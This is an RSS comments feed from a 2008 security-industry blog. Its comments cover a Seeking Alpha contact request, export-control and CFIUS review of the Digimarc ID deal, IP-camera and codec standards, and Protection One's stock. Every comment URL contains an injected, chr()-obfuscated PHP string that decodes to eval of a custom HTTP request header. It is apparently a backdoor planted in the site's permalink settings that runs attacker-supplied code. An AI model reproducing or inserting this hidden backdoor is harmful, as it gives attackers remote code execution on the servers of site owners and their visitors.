Comments for TheSecurityAnalyst http://www.thesecurityanalyst.com/blog Everything Security Mon, 30 Jun 2008 12:58:30 +0000 hourly 1 http://wordpress.org/?v=3.2.1 Comment on Has Single-Sign on Finally Hit “Prime Time” With Security Industry End Users? by acarmel http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-30 acarmel Mon, 30 Jun 2008 12:58:30 +0000 http://www.thesecurityanalyst.com/blog/?p=21#comment-30 Hi! I'm an editor for Seeking Alpha. Please contact me at your earliest convenience at acarmel@seekingalpha.com. Abby Hi! I’m an editor for Seeking Alpha. Please contact me at your earliest convenience at acarmel@seekingalpha.com. Abby

]]> Comment on “REAL ID” Controlled by a Foreign Entity? Safran S.A. Bids Against L-1 for Digimarc’s ID Business by plaberee http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-15 plaberee Mon, 23 Jun 2008 19:44:20 +0000 http://www.thesecurityanalyst.com/blog/?p=18#comment-15 Interesting story and well-presented. Note that this proposed deal might come under regulatory scrutiny in at least two ways, in addition to general export controls. If the technology and system controlled by Digimarc is considered “dual use” technology - - having both civilian and military uses (roughly speaking), then its export would be governed by the Export Administration Regulations (“EAR”) set out at 15 CFR 730-774.. (See generally 15 CFR Chapter VII, subpart C.) Also, if (somehow) the Digimarc properties would be seen as infrastructure critical to national security, then the Committee on Foreign Investment in the United States (“CFIUS”) rules would apply. See The Foreign Investment and National Security Act of 2007 which became effective near the end of October. The new law is intended to reform the statute and provides for expanded review by CFIUS. The statute provides for a broad review for any transaction involving "critical infrastructure" which includes any vital system or asset, physical or virtual, whose destruction or incapacity would have a debilitating impact on national security. Peter Laberee Interesting story and well-presented. Note that this proposed deal might come under regulatory scrutiny in at least two ways, in addition to general export controls. If the technology and system controlled by Digimarc is considered “dual use” technology – - having both civilian and military uses (roughly speaking), then its export would be governed by the Export Administration Regulations (“EAR”) set out at 15 CFR 730-774.. (See generally 15 CFR Chapter VII, subpart C.) Also, if (somehow) the Digimarc properties would be seen as infrastructure critical to national security, then the Committee on Foreign Investment in the United States (“CFIUS”) rules would apply. See The Foreign Investment and National Security Act of 2007 which became effective near the end of October. The new law is intended to reform the statute and provides for expanded review by CFIUS. The statute provides for a broad review for any transaction involving “critical infrastructure” which includes any vital system or asset, physical or virtual, whose destruction or incapacity would have a debilitating impact on national security.

Peter Laberee

]]> Comment on VIDEO STANDARDS THAT MAY FINALLY MEAN SOMETHING by john_honovich http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-3 john_honovich Thu, 15 May 2008 08:14:24 +0000 http://www.thesecurityanalyst.com/blog/?p=5#comment-3 Hi Jeff, Nice point about the difference of the source of these standards being from industry than from government. I think one of the reasons the big IP camera players are supporting this is because further innovations in network interfaces will not provide meaningful economic benefits. As such, no one is very motivated to diverge in the hope of gaining a competitive advantage. Ironically, I think it's in the area of codecs where the market is more likely to suffer from interoperability problems and lack of conformance to standards. Even though we 'have' MPEG-4 and H.264, vendors break these standards all the time. They are driven by dramatic cost savings that can be generated in reducing bandwidth and storage load by optimizing codecs for surveillance applications. I wrote about this in more depth: http://ipvideomarket.info/review/show/10. While I see standards coming to IP camera network interfaces fairly quickly, compliance with codec standards could be many years further away. Thanks for the great analysis. I look forward to learning from your posts. Best, John Hi Jeff,

Nice point about the difference of the source of these standards being from industry than from government. I think one of the reasons the big IP camera players are supporting this is because further innovations in network interfaces will not provide meaningful economic benefits. As such, no one is very motivated to diverge in the hope of gaining a competitive advantage.

Ironically, I think it’s in the area of codecs where the market is more likely to suffer from interoperability problems and lack of conformance to standards. Even though we ‘have’ MPEG-4 and H.264, vendors break these standards all the time. They are driven by dramatic cost savings that can be generated in reducing bandwidth and storage load by optimizing codecs for surveillance applications. I wrote about this in more depth: http://ipvideomarket.info/review/show/10.

While I see standards coming to IP camera network interfaces fairly quickly, compliance with codec standards could be many years further away.

Thanks for the great analysis. I look forward to learning from your posts.

Best,

John

]]> Comment on SOMEBODY NEEDED TO LOVE PROTECTION ONE!! by Michael Barnes http://www.thesecurityanalyst.com/blog/%tugalugatron$eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(72).chr(84).chr(84).chr(80).chr(95).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(84).chr(85).chr(71).chr(93).chr(41).chr(59)).exit()*%/comment-page-1#comment-2 Michael Barnes Wed, 14 May 2008 00:41:47 +0000 http://www.thesecurityanalyst.com/blog/?p=6#comment-2 Jeff...good to see you back "playing in traffic." Agree 100% on P1. Solid footing, great management, good market position. Can't understand why the stock doesn't do better. Jeff…good to see you back “playing in traffic.” Agree 100% on P1. Solid footing, great management, good market position. Can’t understand why the stock doesn’t do better.

]]>